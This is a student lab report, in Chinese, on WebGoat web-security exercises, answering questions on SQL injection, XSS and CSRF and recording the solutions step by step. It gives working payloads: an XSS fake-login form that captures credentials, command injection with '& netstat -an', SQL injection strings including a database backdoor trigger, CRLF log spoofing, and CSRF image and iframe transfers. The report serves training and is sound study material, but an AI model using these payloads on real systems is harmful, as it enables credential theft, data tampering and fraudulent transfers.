20155227《网络对抗》Exp9 Web安全基础实践

实验内容

  • 关于WebGoat
  • Cross-Site Scripting(XSS)练习
  • Injection Flaws练习
  • CSRF攻击

基础问题回答

  • SQL注入攻击原理,如何防御?
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
防御:

1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
  • XSS攻击的原理,如何防御?
原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。

防御:

1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
  • CSRF攻击原理,如何防御?
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:

1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

实验过程记录

1.WebGoat

  • 开启webgoat,首先要下载java包,打开WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar

  • 在浏览器上访问localhost:8080/WebGoat,登录。

2.XSS攻击

(1)Phishing with XSS

  • 这个题目我们要在搜索框中输入XSS攻击代码:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,然后输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:

(2)Reflected XSS 反射型XSS攻击

code框中输入<script>alert("I am 20155227gyl");</script>

(3)Stored XSS Attacks

  • 题目要求:要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
  • 直接在title里随便输入,然后在message中输入一串代码,比如:<script>alert("5227!");</script> 提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功!

3.Injection Flaws

(1)Command Injection

  • 题目要求能够在目标主机上执行系统命令,我发现可以通过火狐浏览器下的一个扩展Firebug对源代码进行修改,例如在BackDoors.help旁边加上& netstat -an & ipconfig

  • 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

(2)Numeric SQL Injection

  • 这个题大概意思是这个表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据。
  • 进行SQL注入在station字段注入特征字符,以组合成新的SQL语句,SELECT * FROM weather_data WHERE station = [station],要获得所有的天气数据,就在station中的任意一个值后面加入一个1=1,由于1=1为永真式,选择所修改的value所指向的城市,就可以得到所有的天气。

(3)Log Spoofing

这道题大概意思是说,我们输入的用户名会被追加到日志文件中。所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,例如在User Name文本框中输入gyl%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:

(4)LAB:SQL Injection

Stage 1:String SQL Injection

  • 题目要求:使用字符串SQL注入在没有正确密码的情况下登录账号boss
  • 在密码栏中输入' or 1=1 --进行SQL注入,但是登录失败。
  • 查看源代码,去掉对输入长度的限制,登录成功。

Stage 3:Numeric SQL Injection

  • 题目要求:通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户larry,浏览其BOSS的账户信息。首先我们用上一题的办法登录Larry的账号!在密码框里输入' or 1=1 --,登录后发现我们只能看见Larry一个人的工资信息。

  • 浏览员工信息的按钮是ViewProfile.在网页代码中分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

(5)String SQL Injection

  • 这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。
  • 我们构造一个永真式“1”,那么不管前面的WHERE是否成立都能执行,所以构造语句'or 1='1,成功得到了全部的信用卡号。

(6)Blind Numeric SQL Injection

  • 题目要求是得到一个存放在pins表中值pin的内容,行号cc_number=1111222233334444,是一个int型的数据。

    然后使用BurpSuite进行拦截,拦截后action--send to intruder进行暴力破解,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1。可以发现2364的报文长度明显和其他不一样,那这个值就应该就是2364

(7)Database Backdoors

  • 先输入示例101进行尝试,得到了该用户的信息。

  • 观察发现输入的语句不进行验证,于是我们输入语句:101; update employee set salary=10000成功将该用户的工资变成10000,攻击成功:

  • 输入语句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155227@hackme.com' WHERE userid = NEW.userid
  • 表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。

4.CSRF攻击

(1)Cross Site Request Forgery

  • 题目要求:需要写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 查看自己电脑的Screen和menu的值:

  • 然后在message里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=转账金额"/>就会发出一个转钱的请求,盗取钱财。提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF攻击的目的。

  • 提交后生成一个链接20155227

  • 点击即可查看用户操作的信息:

(2)CSRF Prompt By-Pass

  • 这个就是利用CSRF进行冒名操作转账,不过这次包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器(transferFunds=4000,transferFunds=CONFIRM)。
  • 查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
  • 接下来的操作同上一题。

  • 但是左边没有显示成功的√,所以在浏览器里输入localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000进入确认转账请求页面:

点击CONFIRM按钮之后,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=CONFIRM,成功转走了5000元:

实验体会

本次实验真的很艰难呀,主要是之前环境一直不对,尝试了很久之后才决定直接拷一个虚拟机。开始实验之后发现本次实验的内容全是英文,真的很崩溃……但是通过在Webgoat上的实践,我学会了SQL注入攻击XSS攻击CSRF攻击的一些小套路,也算小有收获吧。

20155227《网络对抗》Exp9 Web安全基础实践的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  3. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  4. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  5. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  6. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  7. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  8. 20155311《网络对抗》Web安全基础实践

    20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  9. 20155338《网络对抗》Web安全基础实践

    20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...

  10. 20145216史婧瑶《网络对抗》Web安全基础实践

    20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...

随机推荐

  1. x64系统WSC注册方法

    @echo off title 注册WSC脚本部件 echo. ***************************************** echo. 支持x64系统(请以管理员身份运行) e ...

  2. DrawerLayout建立侧滑时,显示侧滑页面,底层页面仍可以有点击响应,解决办法。

    第一感觉是下层仍有焦点,解决办法应该是侧方页面出现后,下层页面的焦点改为false,应该是动态去改变焦点的状态,但是不知道如何去实现. 然后再网上找到实现方法,感谢:http://blog.csdn. ...

  3. phar 反序列化学习

    前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ...

  4. 关于DAL层使用静态方法,并在WEB层直接调用的问题

    同样的疑惑,记录一下吧: http://bbs.csdn.net/topics/360204198 DAL静不静态看connection等关键资源是否静态 比如下面的代码,就算静态也没事 public ...

  5. hadoop中实现java网络爬虫

    这一篇网络爬虫的实现就要联系上大数据了.在前两篇java实现网络爬虫和heritrix实现网络爬虫的基础上,这一次是要完整的做一次数据的收集.数据上传.数据分析.数据结果读取.数据可视化. 需要用到 ...

  6. 数据结构入门之链表(C语言实现)

    这篇文章主要是根据<数据结构与算法分析--C语言描述>一书的链表章节内容所写,该书作者给出了链表ADT的一些方法,但是并没有给出所有方法的实现.在学习的过程中将练习的代码记录在文章中,并添 ...

  7. Python 面向对象补充

    什么是面向对象编程 类 + 对象 class 类: def 函数1(): pass def 函数2(): pass obj是对象, 实例化的过程 obj = 类() obj.函数1() 例1 , 某些 ...

  8. CSS揭秘(一)引言

    借了一本CSS揭秘,国外的一本书,应该是目前相关书目里最好的了,内容非常扎实,不得不说图灵教育出的书真的不错,不然不是很厚的一本书卖到99也是.... 国外的这类书总是以问题开始,然后通过解决问题引出 ...

  9. BigDecimal 工具类

    arg1.compareTo(arg2) arg1 > arg2 返回 int 1 arg1 = arg2 返回 int 0 arg1 < arg2 返回 int -1 public cl ...

  10. Java计算大整数

    import java.util.*; import java.math.*; //BigInteger类型在这个包里 public class Gcc_test { public static vo ...